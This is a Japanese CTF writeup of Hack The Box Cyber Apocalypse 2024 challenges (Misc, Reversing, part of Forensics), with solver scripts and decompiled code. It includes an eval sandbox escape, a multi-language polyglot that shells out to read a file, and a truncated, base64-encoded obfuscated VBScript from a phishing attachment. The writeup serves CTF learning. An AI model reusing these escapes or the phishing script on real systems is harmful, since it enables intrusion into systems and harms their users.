LoginSignup
1
0

Cyber Apocalypse 2024 Writeup

Posted at

Hack The Box の CTF Cyber Apocalypse 2024: Hacker Royale に参加しました.
67 問中 40 問を解き,5693 チームのうちの 144 位でした.
Crypto と Pwn の Insane は解けたので良かったです.

Misc

Character (very easy)

Security through Induced Boredom is a personal favourite approach of mine. Not as exciting as something like The Fray, but I love making it as tedious as possible to see my secrets, so you can only get one character at a time!

配布ファイルはなし.

繋いでみるとこんな感じなので,書くだけ.

└─< nc 83.136.252.62 50446 
Which character (index) of the flag do you want? Enter an index: 0
Character at Index 0: H
Which character (index) of the flag do you want? Enter an index: 1
Character at Index 1: T
Which character (index) of the flag do you want? Enter an index: 200
Index out of range!
from pwn import *

io = remote('83.136.252.62', 50446)

flag = ''
while True:
    io.sendlineafter(b'Enter an index: ', str(len(flag)).encode())
    res = io.recvline().decode().strip()
    if res.startswith('Character at Index'):
        flag += res[-1]
    else:
        break
print(flag)

Stop Drop and Roll (very easy)

配布ファイルはなし.

こんな感じのゲーム

===== THE FRAY: THE VIDEO GAME =====
Welcome!
This video game is very simple
You are a competitor in The Fray, running the GAUNTLET
I will give you one of three scenarios: GORGE, PHREAK or FIRE
You have to tell me if I need to STOP, DROP or ROLL
If I tell you there's a GORGE, you send back STOP
If I tell you there's a PHREAK, you send back DROP
If I tell you there's a FIRE, you send back ROLL
Sometimes, I will send back more than one! Like this: 
GORGE, FIRE, PHREAK
In this case, you need to send back STOP-ROLL-DROP!
Are you ready? (y/n) y
Ok then! Let's go!
PHREAK, GORGE, GORGE
What do you do? DROP-STOP-STOP
FIRE, PHREAK, FIRE, GORGE, GORGE
What do you do? 

これも書くだけ.

from pwn import *

m = {
    'GORGE': 'STOP',
    'PHREAK': 'DROP',
    'FIRE': 'ROLL',
}

io = remote('94.237.52.22', 50678)

io.sendlineafter(b'Are you ready? (y/n) ', b'y')
io.recvline()

while True:
    res = io.recvline().decode().strip()
    lst = res.split(', ')
    if any(l not in m for l in lst):
        break
    payload = '-'.join(list(map(lambda l: m[l], lst)))
    print(payload)
    io.sendlineafter(b'What do you do? ', payload.encode())

print(res)
io.interactive()

Unbreakable (easy)

Think you can escape my grasp? Challenge accepted! I dare you to try and break free, but beware, it won't be easy. I'm ready for whatever tricks you have up your sleeve!

送信したコードに () を付けて eval される.

print(open('flag.txt','r').read())

これを送ると print の戻り値 None() を付けて呼び出そうとしてエラーになるけど,その前に FLAG は得られる.

Cubicle Riddle (easy)

Navigate the haunting riddles that echo through the forest, for the Cubicle Riddle is no ordinary obstacle. The answers you seek lie within the whispers of the ancient trees and the unseen forces that govern this mystical forest. Will your faction decipher the enigma and claim the knowledge concealed within this challenge, or will the forest consume those who dare to unravel its secrets? The fate of your faction rests in you.

リストの最小値と最大値を返すような関数のバイトコードを作成する.
ただし,バイトコードの先頭と最後は決められている.

デコンパイルしてみる.

>>> import dis
>>> dis.dis(b"d\x01}\x01d\x02}\x02")
        0 LOAD_CONST               1 (1)
        2 STORE_FAST               1 (1)
        4 LOAD_CONST               2 (2)
        6 STORE_FAST               2 (2)
>>> dis.dis(b"|\x01|\x02f\x02S\x00")
        0 LOAD_FAST                1 (1)
        2 LOAD_FAST                2 (2)
        4 BUILD_TUPLE              2
        6 RETURN_VALUE

Python Bytecode Instructions を参考に調べると命令がわかる.

  • LOAD_CONST 命令は co_consts[consti] をスタックにプッシュする.
  • STORE_FAST 命令は,ローカル変数 co_varnames[var_num] にスタックをポップした結果を格納する.
  • LOAD_FAST 命令は,ローカル変数 co_varnames[var_num] の参照をスタックにプッシュする.
  • BUILD_TUPLE 命令は,引数の数のタプルをスタックから作成する.

よって,

  • co_code_start では,
    min = 1000
    max = -1000
    
    が行われている.
  • co_code_end では
    return (min, max)
    
    が行われている.

また,co_names が空なので,LOAD_GLOBAL 命令などでグローバルに定義されているものを呼び出したりはできない.

関数を適当に作ってバイトコードを調べてみる.
以下のようにすることで,関数のコードオブジェクト,バイトコードは確認できる.
(Pythonコードの解析とpycファイル)

def add(x, y):
    return x + y

code_obj = add.__code__
code = add.__code__.co_code

以下のコードを試してみる.
(types.CodeType の引数の数がバージョンによって違うのか,自分の環境だと 16 個じゃないとエラーが出る.)

import types
import dis
from random import randint

def _answer_func(num_list):
    min = 1000
    max = -1000
    for num in num_list:
        if num < min:
            min = num
        if num > max:
            max = num
    return (min, max)

code_obj = _answer_func.__code__

dis.dis(code_obj.co_code)

lst = [
    code_obj.co_argcount,
    code_obj.co_posonlyargcount,
    code_obj.co_kwonlyargcount,
    code_obj.co_nlocals,
    code_obj.co_stacksize,
    code_obj.co_flags,
    code_obj.co_code,
    code_obj.co_consts,
    code_obj.co_names,
    code_obj.co_varnames,
    code_obj.co_filename,
    code_obj.co_name,
    code_obj.co_firstlineno,
    code_obj.co_lnotab,
    code_obj.co_freevars,
    code_obj.co_cellvars,
]
print('[')
for l in lst:
    print(f'    {l},')
print(']')

code = code_obj.co_code
co_code_start = b"d\x01}\x01d\x02}\x02"
co_code_end = b"|\x01|\x02f\x02S\x00"
assert code.startswith(co_code_start)
assert code.endswith(co_code_end)

code_obj = types.CodeType(
    1,
    0,
    0,
    4,
    3,
    3,
    code,
    (None, 1000, -1000),
    (),
    ("num_list", "min", "max", "num"),
    __file__,
    "_answer_func",
    # "_answer_func",
    1,
    # b"",
    b"",
    (),
    (),
)

fnc = types.FunctionType(code_obj, {})
num_list = [randint(-1000, 1000) for _ in range(10)]
print(fnc(num_list))
print((min(num_list), max(num_list)))

送信してみてもうまくいかない.

3.11.4 の Docker 環境で動かしてみる.

import types
from random import randint

code_obj = types.CodeType(
    1,
    0,
    0,
    4,
    3,
    3,
    b'd\x01}\x01d\x02}\x02|\x00D\x00]\x0e}\x03|\x03|\x01k\x00r\x0e|\x03}\x01|\x03|\x02k\x04r\x14|\x03}\x02q\x06|\x01|\x02f\x02S\x00',
    (None, 1000, -1000),
    (),
    ("num_list", "min", "max", "num"),
    __file__,
    "_answer_func",
    "_answer_func",
    1,
    b"",
    b"",
    (),
    (),
)

fnc = types.FunctionType(code_obj, {})
num_list = [randint(-1000, 1000) for _ in range(10)]
print(fnc(num_list))
print((min(num_list), max(num_list)))
(<list_iterator object at 0x7f9213fbc3d0>, True)
(-934, 680)

戻り値が変になっている.

dis.dis しても同じ結果にならないので,命令の対応が違う?

import dis
code = b'd\x01}\x01d\x02}\x02|\x00D\x00]\x0e}\x03|\x03|\x01k\x00r\x0e|\x03}\x01|\x03|\x02k\x04r\x14|\x03}\x02q\x06|\x01|\x02f\x02S\x00'
dis.dis(code)
    0 LOAD_CONST               1
    2 STORE_FAST               1
    4 LOAD_CONST               2
    6 STORE_FAST               2
    8 LOAD_FAST                0
    10 GET_ITER
    12 FOR_ITER                14 (to 42)
    14 STORE_FAST               3
    16 LOAD_FAST                3
    18 LOAD_FAST                1
    20 COMPARE_OP               0 (<)
    26 STORE_FAST               1
    28 LOAD_FAST                3
    30 LOAD_FAST                2
    32 COMPARE_OP               4 (>)
    38 STORE_FAST               2
    40 PRECALL_NO_KW_METHOD_DESCRIPTOR_O     6
    44 LOAD_FAST                2
    46 BUILD_TUPLE              2
    48 RETURN_VALUE

3.11.4 でのバイトコードを確認してみる

      0 RESUME                   0
      2 LOAD_CONST               1
      4 STORE_FAST               1
      6 LOAD_CONST               2
      8 STORE_FAST               2
     10 LOAD_FAST                0
     12 GET_ITER
>>   14 FOR_ITER                18 (to 52)
     16 STORE_FAST               3
     18 LOAD_FAST                3
     20 LOAD_FAST                1
     22 COMPARE_OP               0 (<)
     28 POP_JUMP_FORWARD_IF_FALSE     2 (to 34)
     30 LOAD_FAST                3
     32 STORE_FAST               1
>>   34 LOAD_FAST                3
     36 LOAD_FAST                2
     38 COMPARE_OP               4 (>)
     44 POP_JUMP_FORWARD_IF_FALSE     2 (to 50)
     46 LOAD_FAST                3
     48 STORE_FAST               2
>>   50 JUMP_BACKWARD           19 (to 14)
>>   52 LOAD_FAST                1
     54 LOAD_FAST                2
     56 BUILD_TUPLE              2
     58 RETURN_VALUE

先頭に RESUME 命令があるが,no-op らしいので,消してもよさそう.

よって,以下のコードでバイトコードを生成する (3.11.4 の環境で).

import types
import dis
from random import randint

def _answer_func(num_list):
    min = 1000
    max = -1000
    for num in num_list:
        if num < min:
            min = num
        if num > max:
            max = num
    return (min, max)

code_obj = _answer_func.__code__

lst = [
    code_obj.co_argcount,
    code_obj.co_posonlyargcount,
    code_obj.co_kwonlyargcount,
    code_obj.co_nlocals,
    code_obj.co_stacksize,
    code_obj.co_flags,
    code_obj.co_code,
    code_obj.co_consts,
    code_obj.co_names,
    code_obj.co_varnames,
    code_obj.co_filename,
    code_obj.co_name,
    code_obj.co_firstlineno,
    code_obj.co_lnotab,
    code_obj.co_freevars,
    code_obj.co_cellvars,
]
print('[')
for l in lst:
    print(f'    {l},')
print(']')

# code_obj_ = types.CodeType(*lst)
# fnc = types.FunctionType(code_obj_, {})
# print(fnc([2,5,6,-2,1]))

code = code_obj.co_code
dis.dis(code)

code = code[2:]

co_code_start = b"d\x01}\x01d\x02}\x02"
co_code_end = b"|\x01|\x02f\x02S\x00"
assert code.startswith(co_code_start)
assert code.endswith(co_code_end)

code_obj = types.CodeType(
    1,
    0,
    0,
    4,
    3,
    3,
    code,
    (None, 1000, -1000),
    (),
    ("num_list", "min", "max", "num"),
    __file__,
    "_answer_func",
    "_answer_func",
    1,
    b"",
    b"",
    (),
    (),
)

fnc = types.FunctionType(code_obj, {})
num_list = [randint(-1000, 1000) for _ in range(10)]
print(fnc(num_list))
print((min(num_list), max(num_list)))

print('payload:', code)

これを送信する.

from pwn import *

HOST, PORT = '94.237.49.166 52255'.split()
code = b'd\x01}\x01d\x02}\x02|\x00D\x00]\x12}\x03|\x03|\x01k\x00\x00\x00\x00\x00r\x02|\x03}\x01|\x03|\x02k\x04\x00\x00\x00\x00r\x02|\x03}\x02\x8c\x13|\x01|\x02f\x02S\x00'

co_code_start = b"d\x01}\x01d\x02}\x02"
co_code_end = b"|\x01|\x02f\x02S\x00"

payload = list(code[len(co_code_start):-len(co_code_end)])
payload = ','.join(list(map(str, payload))).encode()
print(payload)

io = remote(HOST, PORT)
io.sendlineafter(b'(Choose wisely) > ', b'1')
io.sendlineafter(b'(Answer wisely) > ', payload)

io.interactive()

MultiDigilingual (hard)

It's a known secret that each faction speaks different languages, however few can speak all of them. KORP has long wanted to send a spy in the factions to keep an eye on them. Through their extensive network, they have found different talented factionless to test. The first to show their multidigilingual skills will get a place in them, and be their secret agent amongst the factions. Can you show them your worth?

配布ファイルはなし.

繋げてみると以下のようになっている.
(cHJpbnQob3BlbignZmxhZy50eHQnLCAncicpLnJlYWQoKSk=print(open('flag.txt', 'r').read()) を送信した.)

└─< nc 94.237.62.54 47311
****************************************
*   How many languages can you talk?   *
* Pass a base64-encoded program that's *
*   all of the below that just reads   *
*      the file `flag.txt` to win      *
*          and pass the test.          *
*                                      *
*              Languages:              *
*               * Python3              *
*               * Perl                 *
*               * Ruby                 *
*               * PHP8                 *
*               * C                    *
*               * C++                  *
*                                      *
*   Succeed in this and you will be    *
*               rewarded!              *
****************************************

Enter the program of many languages: cHJpbnQob3BlbignZmxhZy50eHQnLCAncicpLnJlYWQoKSk=

[*] Executing Python3 using command python
    [+] Completed. Checking output
    [+] Passed the check


[*] Executing Perl using command perl
    [+] Completed. Checking output
    [-] Failed to pass test. You are not worthy enough...

すなわち,これらのすべての言語で flag.txt を出力するようなプログラム (Polyglot) を作成すればよい.

検索するとちょうどこれらの言語で書かれた Polyglot polyglot.pl.php.py.rb.cpp が見つかる.

#/*<?php eval('echo "PHP Code\n";'); __halt_compiler();?> */

#include <stdio.h> /*
print ((("b" + "0" == 0) and eval('"Perl Code\n"')) or (0 and "Ruby Code\n" or "Python Code"));
__DATA__ = 1
"""""
__END__
===== . ===== */

#ifdef __cplusplus
    char msg[9] = {'C','+','+',' ','C','o','d','e', '\n'};
#else
    char msg[7] = {'C',' ','C','o','d','e', '\n'};
#endif

int main() { int i; for(i = 0; i < 9; ++i) putchar(msg[i]); return 0;} /*
outputs:
  $ perl polyglot.pl.php.py.rb.cpp
  Perl Code
  $ php polyglot.pl.php.py.rb.cpp
  #PHP Code
  $ python polyglot.pl.php.py.rb.cpp
  Python Code
  $ ruby polyglot.pl.php.py.rb.cpp
  Ruby Code
  $ g++ -x c++ polyglot.pl.php.py.rb.cpp -o poly; ./poly
  C++ Code
  $ g++ -x c polyglot.pl.php.py.rb.cpp -o poly; ./poly
  C Code
"""
#*/

これを参考に作成する.
(注意: C と C++ の中で " を使うと Ruby がおかしくなってしまうので文字の配列とする.)

#/*<?php system("cat flag.txt");; __halt_compiler();?> */

#include <stdio.h> /*
eval ((("b" + "0" == 0) and 'system("cat flag.txt")') or (0 and "system('cat flag.txt')" or "print(open('flag.txt','r').read())"));
__DATA__ = 1
"""""
__END__
===== . ===== */

char flag[9] = {'f', 'l', 'a', 'g', '.', 't', 'x', 't'};
char fmt[4] = {'%', 's', '\n'};
char mode[2] = {'r'};

int main() {FILE *f = fopen(flag, mode);char str[100];fgets(str, 100, f);printf(fmt, str);} /*
"""
#*/

Reversing

LootStash (very easy)

A giant stash of powerful weapons and gear have been dropped into the arena - but there's one item you have in mind. Can you filter through the stack to get to the one thing you really need?

実行してみると毎回ランダムな文字列が選択されて出力される.

└─< ./stash
Diving into the stash - let's see what we can find.
.....
You got: 'Nightmare, Crystal of Dragonsouls'. Now run, before anyone tries to steal it!

└─< ./stash
Diving into the stash - let's see what we can find.
.....
You got: 'Sunlight, Heart of Mountains'. Now run, before anyone tries to steal it!

Ghidra でデコンパイル.

undefined8 main(void)
{
    int iVar1;
    time_t tVar2;
    int i;
    
    setvbuf(stdout,(char *)0x0,2,0);
    tVar2 = time((time_t *)0x0);
    srand((uint)tVar2);
    puts("Diving into the stash - let\'s see what we can find.");
    for (i = 0; i < 5; i = i + 1) {
        putchar(0x2e);
        sleep(1);
    }
    iVar1 = rand();
    printf("\nYou got: \'%s\'. Now run, before anyone tries to steal it!\n",
        *(undefined8 *)(gear + (long)(int)((ulong)(long)iVar1 % 0x7f8 >> 3) * 8));
    return 0;
}

rand 関数でインデックスを決めているだけなので,そのまま FLAG がありそう.

strings を使う.

└─< strings stash | grep HTB
HTB{n33dl3_1n_a_l00t_stack}

BoxCutter (very easy)

You've received a supply of valuable food and medicine from a generous sponsor. There's just one problem - the box is made of solid steel! Luckily, there's a dumb automated defense robot which you may be able to trick into opening the box for you - it's programmed to only attack things with the correct label.

Ghidra でデコンパイルする.

undefined8 main(void)
{
    undefined8 local_28;
    undefined7 local_20;
    undefined uStack_19;
    undefined7 uStack_18;
    int local_10;
    uint i;
    
    local_28 = 0x540345434c75637f;
    local_20 = 0x45f4368505906;
    uStack_19 = 0x68;
    uStack_18 = 0x374a025b5b0354;
    for (i = 0; i < 0x17; i = i + 1) {
        *(byte *)((long)&local_28 + (long)(int)i) = *(byte *)((long)&local_28 + (long)(int)i) ^ 0x37
        ;
    }
    local_10 = open((char *)&local_28,0);
    if (local_10 < 1) {
        puts("[X] Error: Box Not Found");
    }
    else {
        puts("[*] Box Opened Successfully");
        close(local_10);
    }
    return 0;
}

復号されたファイル名が local_28 に格納される.

ファイル名が知りたいだけなので ltrace する.

└─< ltrace ./cutter   
open("HTB{tr4c1ng_th3_c4ll5}", 0, 00)                                                                                                             = -1
puts("[X] Error: Box Not Found"[X] Error: Box Not Found
)                                                                                                                  = 25
+++ exited (status 0) +++

PackedAway (very easy)

To escape the arena's latest trap, you'll need to get into a secure vault - and quick! There's a password prompt waiting for you in front of the door however - can you unpack the password quick and get to safety?

Ghidra でデコンパイルして,Defined strings を見ると

"$Info: This file is packed with the UPX executable packer http://upx.sf.net $\n"

とある.

UPX をダウンロードして decompress する.

└─< upx -d -o unpacked packed
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     22867 <-      8848   38.69%   linux/amd64   unpacked

Unpacked 1 file.

strings で調べてみると見つかる.

└─< strings unpacked | grep HTB  
HTB{unp4ck3dr3t_HH0f_th3_pH0f_th3_pH0f_th3_pH0f_th3_pH
HTB{
HTB{unp4ck3d_th3_s3cr3t_0f_th3_p455w0rd}

Crushing (easy)

You managed to intercept a message between two event organizers. Unfortunately, it's been compressed with their proprietary message transfer format. Luckily, they're gamemakers first and programmers second - can you break their encoding?

Ghidra でデコンパイルする.

undefined8 main(void)
{
    long i;
    undefined8 *puVar1;
    undefined8 map [256];
    uint chr;
    long j;
    
    puVar1 = map;
    for (i = 0xff; i != 0; i = i + -1) {
        *puVar1 = 0;
        puVar1 = puVar1 + 1;
    }
    j = 0;
    while( true ) {
        chr = getchar();
        if (chr == 0xffffffff) break;
        add_char_to_map(map,chr & 0xff,j);
        j = j + 1;
    }
    serialize_and_output(map);
    return 0;
}

void add_char_to_map(long map,byte chr,undefined8 index)
{
    undefined8 *puVar1;
    long m;
    
    m = *(long *)(map + (ulong)chr * 8);
    puVar1 = (undefined8 *)malloc(0x10);
    *puVar1 = index;
    puVar1[1] = 0;
    if (m == 0) {
        *(undefined8 **)((ulong)chr * 8 + map) = puVar1;
    }
    else {
        for (; *(long *)(m + 8) != 0; m = *(long *)(m + 8)) {
        }
        *(undefined8 **)(m + 8) = puVar1;
    }
    return;
}

void serialize_and_output(long map)
{
    undefined8 length;
    void **m;
    void *local_18;
    int i;
    
    for (i = 0; i < 0xff; i = i + 1) {
        m = (void **)(map + (long)i * 8);
        length = list_len(m);
        fwrite(&length,8,1,stdout);
        for (local_18 = *m; local_18 != (void *)0x0; local_18 = *(void **)((long)local_18 + 8)) {
            fwrite(local_18,8,1,stdout);
        }
    }
    return;
}

long list_len(long *param_1)
{
    long local_18;
    long local_10;
    
    if (*param_1 == 0) {
        local_10 = 0;
    }
    else {
        local_10 = 1;
        for (local_18 = *param_1; *(long *)(local_18 + 8) != 0; local_18 = *(long *)(local_18 + 8))
        {
            local_10 = local_10 + 1;
        }
    }
    return local_10;
}

map は以下のように,その文字が出現するインデックスを持つ単方向リストになっているなっている

map[0x00] -> NULL
.
.
.
map[0x31] -> [ index | next ] -> [ index | next ] -> [ index | next ] -> NULL
.
.
.

serialize_and_output 関数では,各データを 8 バイトずつ出力していて,各文字の出現する回数とその直後にその文字の出現するインデックスを繰り返す形式になっている.

f = open('message.txt.cz', 'rb')
data = f.read()
f.close()

max_idx = 0

m = []
i = 0
while i < len(data):
    num = int.from_bytes(data[i : i + 8], 'little')
    lst = []
    i += 8
    for _ in range(num):
        idx = int.from_bytes(data[i : i + 8], 'little')
        lst.append(idx)
        max_idx = max(max_idx, idx)
        i += 8
    m.append(lst)

flag = [-1] * (max_idx + 1)
for i in range(len(m)):
    c = chr(i)
    for j in m[i]:
        flag[j] = c

print(''.join(flag))

QuickScan (medium)

In order to escape this alive, you must carefully observe and analyze your opponents. Learn every strategy and technique in their arsenal, and you stand a chance of outwitting them. Just do it fast, before they do the same to you...

配布ファイルなし

接続してみると以下のように返される.

└─< nc 94.237.53.53 56308
I am about to send you 128 base64-encoded ELF files, which load a value onto the stack. You must send back the loaded value as a hex string
You must analyze them all in under 120 seconds
Let's start with a warmup
ELF:  f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeIAECAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAgAQIAAAAAACABAgAAAAAhAMAAAAAAACEAwAAAAAAAAAQAAAAAAAASIPsGEiNNaoBAABIiee5GAAAAPOkuDwAAAAPBaw6YudcGD7DkG9B7Gpi0DPIkwF5v8MBgX0J7ntz766rFnURPJIe/egBWXRJXpBj5VU6grGYYB49oUwJ4U/qeEnaOEzZaWv7CWVkvT4jAd26IuBMbuCY1eUSy28bJMFlACD2Svfg7gWYhVWLHtVXiHPGynMkm7GrgcZ6WlCZetkFLoPJOjFxBVQze9byxWP6DeoB/ic3wQei3voNDq1FTLpnumDNNyNFBjJ4LBd1qxgupdlPxsxGDZRo7XvbIlAHE/Q4l3DZWDZYIDsI+tzueNKfCHoOIdW70hKWQq0R+bvKY0jl9kAfqIorCdSf2KFI8U2GrsOqH0dkLlQzvmCWKyk1cV0EGtlL/VXtIl6N22MjCCzMSwL2J+UwariiuduNhYMP8JW5lJwI/alCSM2FdbnRD+C1jDb7ce86SS2MlSZxiUjn8vum76ekXT21NCE6c+fIUXdfXIQODGGMZ4ChCrkSJXmE3ytLroqVeXf9zycqbXPQplF3KFyuQZZsOkOk+vpzPUQpzBfLNTDSLt7/Gj9GMUP3FQ8G0NVAc22wsOnnTTdEM4/Hq1Olv7PKcAuAp1nKoKzD91eJ/eniliv+yfU/D3H8ZSUIEtA+1Z6E79LhC6Lkspqdqh+SHeFJncdbayqqctZI6MmU5AxQIZtY/ychRDDc3Z8og8iGHHNnVD9hFSoJYRrtVX4HsPc3c6xrIBjVNJXNdBbkx1Jox1CizdKfVO6+U2stKXJJFnjCnvfUYrcDFaQDfh2oqYNKpOdNFhYA+dR9nUAUphEA96mL+2dHVKKT8WK9npY3jV2dEGE2I/+NVy7OGr8PLkXw7FhfwVLrSe0Q68mBNWbhLDDrAUlHHsGFc35xOA+Ub+y+e+ODp0lr8k5XReKBbLfxHPnFkPk0gcMN3qlW26S23UZpknps5Z8yJRcAPs7w5+Un9VB2KtwA2/ogD8vufeHlKl+BVY1lgJ9DNWmNPxXSsoatA1hy7VW7NzkuERq6DN7vS+nG
Expected bytes: 40736db0b0e9e74d3744338fc7ab53a5bfb3ca700b80a759
Bytes?

要するに,128 個の base64 でエンコードされた実行ファイルが渡されるので,スタックに読み込まれる値を教えてくれとのこと.
ただし,すべての処理を 120 秒以内に終わらせないといけない.

どの実行ファイルも Ghidra で確認すると以下のようになっているが,entry のファイルオフセットや,スタックに読み込まれるデータが置かれている位置は毎回異なっている.

void processEntry entry(long param_1)

{
    long lVar1;
    char in_BH;
    undefined1 *puVar2;
    undefined *puVar3;
    undefined local_18 [24];
    
    puVar2 = &DAT_0804822d;
    puVar3 = local_18;
    for (lVar1 = 0x18; lVar1 != 0; lVar1 = lVar1 + -1) {
        *puVar3 = *puVar2;
        puVar2 = puVar2 + 1;
        puVar3 = puVar3 + 1;
    }
    syscall();
    puVar2[1] = (puVar2[1] - in_BH) - (*(char *)(param_1 + -0x19) != '\0');
    return;
}

gdb で確認してみる.

────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────
   0x804807c    lea    rsi, [rip + 0x1aa]
   0x8048083    mov    rdi, rsp
   0x8048086    mov    ecx, 0x18
   0x804808b    rep movsb byte ptr [rdi], byte ptr [rsi]
   0x804808d    mov    eax, 0x3c
 ► 0x8048092    syscall  <SYS_exit>
        status: 0x7fffffffdb30 ◂— 0x1
   0x8048094    lodsb  al, byte ptr [rsi]
   0x8048095    cmp    ah, byte ptr [rdx - 0x19]
   0x8048098    pop    rsp
   0x8048099    sbb    byte ptr [rsi], bh
   0x804809b    ret    
─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdb18 ◂— 0x4de7e9b0b06d7340
01:0008│     0x7fffffffdb20 ◂— 0xa553abc78f334437
02:0010│     0x7fffffffdb28 ◂— 0x59a7800b70cab3bf
03:0018│ rdi 0x7fffffffdb30 ◂— 0x1
04:0020│     0x7fffffffdb38 —▸ 0x7fffffffdf66 ◂— '/home/toha/work/cyber_apocalypse_2024/reversing/quickscan/a.elf'
05:0028│     0x7fffffffdb40 ◂— 0x0
06:0030│     0x7fffffffdb48 —▸ 0x7fffffffdfa6 ◂— 'KDE_FULL_SESSION=true'
07:0038│     0x7fffffffdb50 —▸ 0x7fffffffdfbc ◂— 'PROFILEHOME='
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────
 ► f 0        0x8048092
   f 1 0x4de7e9b0b06d7340
   f 2 0xa553abc78f334437
   f 3 0x59a7800b70cab3bf
   f 4              0x1
   f 5   0x7fffffffdf66
   f 6              0x0
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tele $sp
00:0000│ rsp 0x7fffffffdb18 ◂— 0x4de7e9b0b06d7340
01:0008│     0x7fffffffdb20 ◂— 0xa553abc78f334437
02:0010│     0x7fffffffdb28 ◂— 0x59a7800b70cab3bf
03:0018│ rdi 0x7fffffffdb30 ◂— 0x1
04:0020│     0x7fffffffdb38 —▸ 0x7fffffffdf66 ◂— '/home/toha/work/cyber_apocalypse_2024/reversing/quickscan/a.elf'
05:0028│     0x7fffffffdb40 ◂— 0x0
06:0030│     0x7fffffffdb48 —▸ 0x7fffffffdfa6 ◂— 'KDE_FULL_SESSION=true'
07:0038│     0x7fffffffdb50 —▸ 0x7fffffffdfbc ◂— 'PROFILEHOME='

gdb script を使えばできるが,全て合わせて 120 秒以内なので間に合わない.

entry 関数の最初は 0x18 バイトのスタックを用意するので,SUB RSP, 0x18 命令で

48 83 ec 18

その直後には rsi に目的のデータのアドレスを格納するために LEA RSI, [RIP + dif] (dif はファイルによって違う) で

48 8d 35 [dif (signed int)]

よって,この 7 バイトを探して,そこからデータのアドレスを計算する.

from pwn import *
from base64 import b64decode
import ctypes
import subprocess

HOST, IP = '94.237.53.53:56308'.split(':')
io = remote(HOST, IP)

io.recvuntil(b'Expected bytes: ')
res = io.recvline().strip()
io.sendlineafter(b'Bytes? ', res)

for i in range(128):
    print(f'round {i + 1}')

    io.recvuntil(b'ELF:  ')
    res = io.recvline().strip()
    
    elf_data = b64decode(res)
    for j in range(len(elf_data)):
        if elf_data[j:].startswith(b'\x48\x83\xec\x18\x48\x8d\x35'):
            dif = elf_data[j + 7:][:4]
            dif = ctypes.c_int(int.from_bytes(dif, 'little')).value
            print(f'{dif   = }')
            print(f'addr  = {hex(j + 11 + dif)}')
            res = elf_data[j + 11 + dif:][:24]
            res = f'{(int.from_bytes(res, "big")):048x}'
            print(f'bytes = {res}')
            break
    
    io.sendlineafter(b'Bytes? ', res.encode())
    
    i += 1
    print('-' * 64)

io.interactive()

Forensics

Urgent (very easy)

In the midst of Cybercity's "Fray," a phishing attack targets its factions, sparking chaos. As they decode the email, cyber sleuths race to trace its source, under a tight deadline. Their mission: unmask the attacker and restore order to the city. In the neon-lit streets, the battle for cyber justice unfolds, determining the factions' destiny.

メールの添付ファイルの onlineform.html を見てみる.
b.txt に以下の Base64 でエンコードされたデータを書き込み,cat b.txt | base64 -d > onlineform.html を実行する.

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT48L3RpdGxlPg0KPGJvZHk+DQo8c2NyaXB0IGxhbmd1YWdl
PSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZG9jdW1lbnQud3JpdGUodW5l
c2NhcGUoJyUzYyU2OCU3NCU2ZCU2YyUzZSUwZCUwYSUzYyU2OCU2NSU2MSU2NCUzZSUwZCUwYSUz
YyU3NCU2OSU3NCU2YyU2NSUzZSUyMCUzZSU1ZiUyMCUzYyUyZiU3NCU2OSU3NCU2YyU2NSUzZSUw
ZCUwYSUzYyU2MyU2NSU2ZSU3NCU2NSU3MiUzZSUzYyU2OCUzMSUzZSUzNCUzMCUzNCUyMCU0ZSU2
ZiU3NCUyMCU0NiU2ZiU3NSU2ZSU2NCUzYyUyZiU2OCUzMSUzZSUzYyUyZiU2MyU2NSU2ZSU3NCU2
NSU3MiUzZSUwZCUwYSUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU2YyU2MSU2ZSU2NyU3NSU2MSU2
NyU2NSUzZCUyMiU1NiU0MiU1MyU2MyU3MiU2OSU3MCU3NCUyMiUzZSUwZCUwYSU1MyU3NSU2MiUy
MCU3NyU2OSU2ZSU2NCU2ZiU3NyU1ZiU2ZiU2ZSU2YyU2ZiU2MSU2NCUwZCUwYSUwOSU2MyU2ZiU2
ZSU3MyU3NCUyMCU2OSU2ZCU3MCU2NSU3MiU3MyU2ZiU2ZSU2MSU3NCU2OSU2ZiU2ZSUyMCUzZCUy
MCUzMyUwZCUwYSUwOSU0MyU2ZiU2ZSU3MyU3NCUyMCU0OCU0OSU0NCU0NCU0NSU0ZSU1ZiU1NyU0
OSU0ZSU0NCU0ZiU1NyUyMCUzZCUyMCUzMSUzMiUwZCUwYSUwOSU1MyU2NSU3NCUyMCU0YyU2ZiU2
MyU2MSU3NCU2ZiU3MiUyMCUzZCUyMCU0MyU3MiU2NSU2MSU3NCU2NSU0ZiU2MiU2YSU2NSU2MyU3
NCUyOCUyMiU1NyU2MiU2NSU2ZCU1MyU2MyU3MiU2OSU3MCU3NCU2OSU2ZSU2NyUyZSU1MyU1NyU2
MiU2NSU2ZCU0YyU2ZiU2MyU2MSU3NCU2ZiU3MiUyMiUyOSUwZCUwYSUwOSU1MyU2NSU3NCUyMCU1
MyU2NSU3MiU3NiU2OSU2MyU2NSUyMCUzZCUyMCU0YyU2ZiU2MyU2MSU3NCU2ZiU3MiUyZSU0MyU2
ZiU2ZSU2ZSU2NSU2MyU3NCU1MyU2NSU3MiU3NiU2NSU3MiUyOCUyOSUwZCUwYSUwOSU1MyU2NSU3
MiU3NiU2OSU2MyU2NSUyZSU1MyU2NSU2MyU3NSU3MiU2OSU3NCU3OSU1ZiUyZSU0OSU2ZCU3MCU2
NSU3MiU3MyU2ZiU2ZSU2MSU3NCU2OSU2ZiU2ZSU0YyU2NSU3NiU2NSU2YyUzZCU2OSU2ZCU3MCU2
